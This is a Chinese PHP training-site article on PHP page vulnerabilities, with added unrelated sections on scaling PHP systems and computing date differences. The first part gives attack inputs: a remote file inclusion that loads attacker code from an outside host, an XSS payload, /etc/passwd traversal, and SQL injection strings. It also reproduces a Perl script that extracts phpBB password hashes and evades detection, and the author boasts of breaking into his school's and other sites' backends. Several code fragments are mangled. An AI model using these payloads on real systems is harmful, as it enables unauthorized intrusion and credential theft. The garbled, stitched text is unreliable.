多数大学生出来选择的工作和专业无关
首页 > 专业知识

php页面漏洞分析及相关问题解决

时间:2019-01-03 20:55:10 [来源]:郑州PHP培训学校

   php页面漏洞分析及相关问题解决

  首先,我们来讨论包含文件漏洞。这个漏洞应该说是PHP独有的吧。这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以WEB进程权限在系统上执行任意命令。我们来看一个例子:假设在a.php中有这样一句代码:
  以下是引用片段:
  include($include."/xxx.php");
  ?>
  在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的。比方说我们提交:a.php?include=http://web/b.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了。我们可以在b.php中写入类似于:passthru("/bin/ls /etc");的代码。这样,就可以执行一些有目的的攻击了。(注:Web服务器应该不能执行php代码,不然就出问题了。相关详情可以去看<<如何对PHP程序中的常见漏洞进行攻击>>)。在这个漏洞方面,出状况的很多,比方说:PayPal Store Front,HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些。
  接着,我们再来看一下脚本命令执行漏洞。这是由于对用户提交的URI参数缺少充分过滤,提交包含恶意HTML代码的数据,可导致触发跨站脚本攻击,可能获得目标用户的敏感信息。我们也举个例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php页面对PHPSESSID缺少充分的过滤,我们可以通过这样的代码来达到攻击的目的:http://web/index.php?PHPSESSID=">在script里面我们可以构造函数来获得用户的一些敏感信息。在这个漏洞方面相对要少一点,除了PHP Transparent之外还有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等。
  再然后,我们就来看看文件泄露漏洞了,这种漏洞是由于对用户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的phpMyAdmin来做例子。在phpMyAdmin中,export.php页面没有对用户提交的'what'参数进行充分过滤,远程攻击者提交包含多个'../'字符的数据,便可绕过WEB ROOT限制,以WEB权限查看系统上的任意文件信息。比方说打入这样一个地址:export.php?what=../../../../../../etc/passwd%00 就可以达到文件泄露的目的了。在这方面相对多一点,有:myPHPNuke,McNews等等。
  好了,我们还是来分析一下漏洞产生的原因吧。拿viewtopic.php页面来说,由于在调用viewtopic.php时,直接从GET请求中获得"topic_id"并传递给SQL查询命令,而并没有进行一些过滤的处理,攻击者可以提交特殊的SQL字符串用于获得MD5密码,获得此密码信息可以用于自动登录或者进行暴力破解。(我想应该不会有人想去暴力破解吧,除非有特别重要的原因)。先看一下相关源代码:
  以下是引用片段:
  #   if(isset($HTTP_GET_VARS[POST_TOPIC_URL]))#   {
  #      $topic_id=intval($HTTP_GET_VARS[POST_TOPIC_URL]);#   }
  #   elseif(isset($HTTP_GET_VARS['topic']))#   {
  #      $topic_id=intval($HTTP_GET_VARS['topic']);#   }
  从上面我们可以看出,如果提交的view=newest并且sid设置了值的话,执行的查询代码像下面的这个样子(如果你还没看过PHPBB源代码的话,建议你看了再对着这里来看,受影响系统为:phpBB 2.0.5和phpBB 2.0.4)。
  以下是引用片段:
  #        $sql = "SELECT p.post_id
  #        FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u#        WHERE s.session_id = '$session_id'
  #         AND u.user_id = s.session_user_id#         AND p.topic_id = $topic_id#         AND p.post_time >= u.user_lastvisit#        ORDER BY p.post_time ASC
  #        LIMIT 1";
  Rick提供了下面的这断测试代码:
  use IO::Socket;
  $remote = shift || 'localhost';
  $view_topic = shift || '/phpBB2/viewtopic.php';$uid = shift || 2;
  $port = 80;
  $dBType = 'mysql4';   # mysql4 or pgsqlprint "Trying to get password hash for uid $uid server $remote dbtype: $dBType ";$p = "";
  for($index=1; $index<=32; $index++)
  {
  $socket = IO::Socket::INET->new(PeerAddr => $remote,PeerPort => $port,
  Proto => "tcp",
  Type => SOCK_STREAM)
  or die "Couldnt connect to $remote:$port : $@ ";$str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0 ";print $socket $str;
  print $socket "Cookie: phpBB2mysql_sid=1 ";  # replace this for pgsql or remove itprint $socket "Host: $remote ";
  while ($answer = <$socket>)
  {
  if ($answer =~ /location:.*x23(d+)/) # Matches the location: viewtopic.php?p=#{
  $p .= chr ();
  }
  }
  close($socket);
  }
  print " MD5 Hash for uid $uid is $p ";
  # random encode str. helps avoid detectionsub random_encode
  {
  $str = shift;
  $ret = "";
  for($i=0; $i
  {
  $c = substr($str,$i,1);
  $j = rand length($str) * 1000;
  if (int($j) % 2 || $c eq ' ')
  {
  $ret .= "%" . sprintf("%x",ord($c));
  }
  else
  {
  $ret .= $c;
  }
  这段代码,我就不多做解释了.作用是获得HASH值.
  看到这里,大家可能有点疑问,为什么我前面讲的那些改的函数怎么没有用到,我讲出来不怕大家笑话:其实网上很多站点有些页面的查询语句看起来会是这样:
  display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc不要笑,这是真的,我还靠这个进过几个大型网站.至于哪一些,不好讲出来,不过我们学校的网站,我就是靠这个进后台的,把前面那函数用上吧.不然你只有改人家的密码了哦!!!
  差点忘了一点,在SQL注入的时候,PHP与ASP有所不同,mysql对sql语句的运用没有mssql灵活,因此,很多在mssql上可以用的查询语句在mysql中都不能奏效了. 一般我们常见的注入语句像这样:aaa.php?id=a' into outfile 'pass.txt或是aaa.php?id=a' into outfile 'pass.txt' /*再进一步可以改成:aaa.php?id=a' or 1=1 union select id,name,password form. users into outfile 'c:/a.txt这样可以将数据库数据导出为文件,然后可以查看.
  或是这样:mode=',user_level='4
  这个语句一般用在修改资料时,假设页面存在漏洞的话,就可以达到提升权限的做用.
  其它的如' OR 1=1 -- 或者:1' or 1='1则跟asp差不多.这里不多讲了.在php里面,SQL注入看来还是漏洞之首啊,有太多的页面存在这个问题了.
  如何使用PHP开发高效的WEB系统
  PHP是一个很优秀的工具,它可以简单,也可以复杂。不一样的项目,应该用不一样的PHP。
  小项目 - 简单而直接的PHP
  一般对于一个功能页面在20以下的网站,我们可以用一个很简单的框架结构来写。在这个规模上,我建议是使用比较直接的面向过程编码方法,原因很简单,没有必要把class文件弄的N 多,结果controller里边就一个new就完了。当然,需求频繁变化的项目除外。
  在这个级别上,php优点表现的很明显:快速开发,一目了然。缺点同时也被隐藏得很好。
  中型项目 - 结构优美的OO化的PHP
  对于一个中型项目,我建议使用一个良好设计的框架来做,这个框架可以是基于MVC模型,封装了众多底层操作的,当然,一定要有一个好的最好是透明的cache机制,这样,我们为了适应变化而加入的OO机制可以运行得更快更好。
  在这个级别上。php的缺点开始凸现,像对OO支持的不完整(这个PHP5有很大改进),只能单线程模式。另外一些外围工具开始出现缺乏支持,像PHP没有好的重构工具,没有好的集成到IDE中的单元测试工具。优点当然还是原来的快速开发,广泛的可用的开源资源。
  大型项目 - 扩展、优化后的PHP
  这里的大型项目,简单的指分布式项目,就是说,你的程序需要被部署在N台服务器上了。在这个层级上,PHP比起j2ee的确缺乏很多支持。我曾和shadow在735上详细讨论过PHP要在大型系统上应用需要解决的一些问题,当然这些问题不光是PHP这个语言的问题,也包括了周边开发的问题:
  1 PHP的页面代码共享,PHP的源代码被载入内存一次以后,就在其中保留 - 这个用APC和Zend的优化器可以搞定。
  2 PHP页面之间的数据对象共享,a.php和b.php之间可以共享一个数据对象,比如数组,这个现在可以用序列化来作,但是会有文件io,这块可以用共享内存或者memcached来处理。
  3 PHP的数据库连接池,因为在多前端的情况下,PHP控制不住对数据库的连接,所以需要在数据库前边去作一个连接池,类似于sqlrelay的东西。另外数据缓存也是很重要的,大压力开发有一个tip,就是能不动数据库就不要动数据库。
  4 PHP的前端cache系统。一个透明的可控制的cache机制,确保网站的页面以最少次数查询数据库。这个有很多实现,但是没有找到特别好的。
  5 一个PHP应用,成功的解决调这几个问题以后,应付稍微大一点的压力是没有什么问题的。
  在这个级别上,重要的是,把PHP java C++ python之类融合起来,使其成为一个高效系统。我们可以用memcached来做分布式内存管理,可以用Lucene 来作全文检索,用ejb 容器来放一些业务逻辑组件,PHP则作为前端和系统的胶水,快速而灵活的把这些粘合起来。
  php中计算时间差的几种方法
  在php中计算时间差有时候是件麻烦的事!不过只要你掌握了日期时间函数的用法那这些也就变的简单了:
  一个简单的例子就是计算借书的天数,这需要php根据每天的日期进行计算,下面就来谈谈实现这种日期计算的几种方法:
  (1) 如果有数据库就很容易了!若是MSSQL可以使用触发器!用专门计算日期差的函数datediff()便可!
  若是MYSQL那就用两个日期字段的差值计算的计算结果保存在另一个数值型字段中!用时调用便可!
  (2)如果没有数据库,那就得完全用php的时间日期函数!下面主要说明之:
  例:计算1998年5月3日到1999-6-5的天数:
  $enddate=mktime("0","0","0","6","5","1999");//所得到的值为从1970-1-1到参数时间的总秒数:是整数.那么//下面的代码就好编多了:
  $days=round(($enddate-$startdate)/3600/24) ;echo $days;
  //days为得到的天数;
  若mktime()中的参数缺省,那表示使用当前日期,这样便可计算从借书日期至今的天数.
 

上一篇:提升PHP速度全攻略都有哪些

下一篇:如何运用PHP关联数组查询结果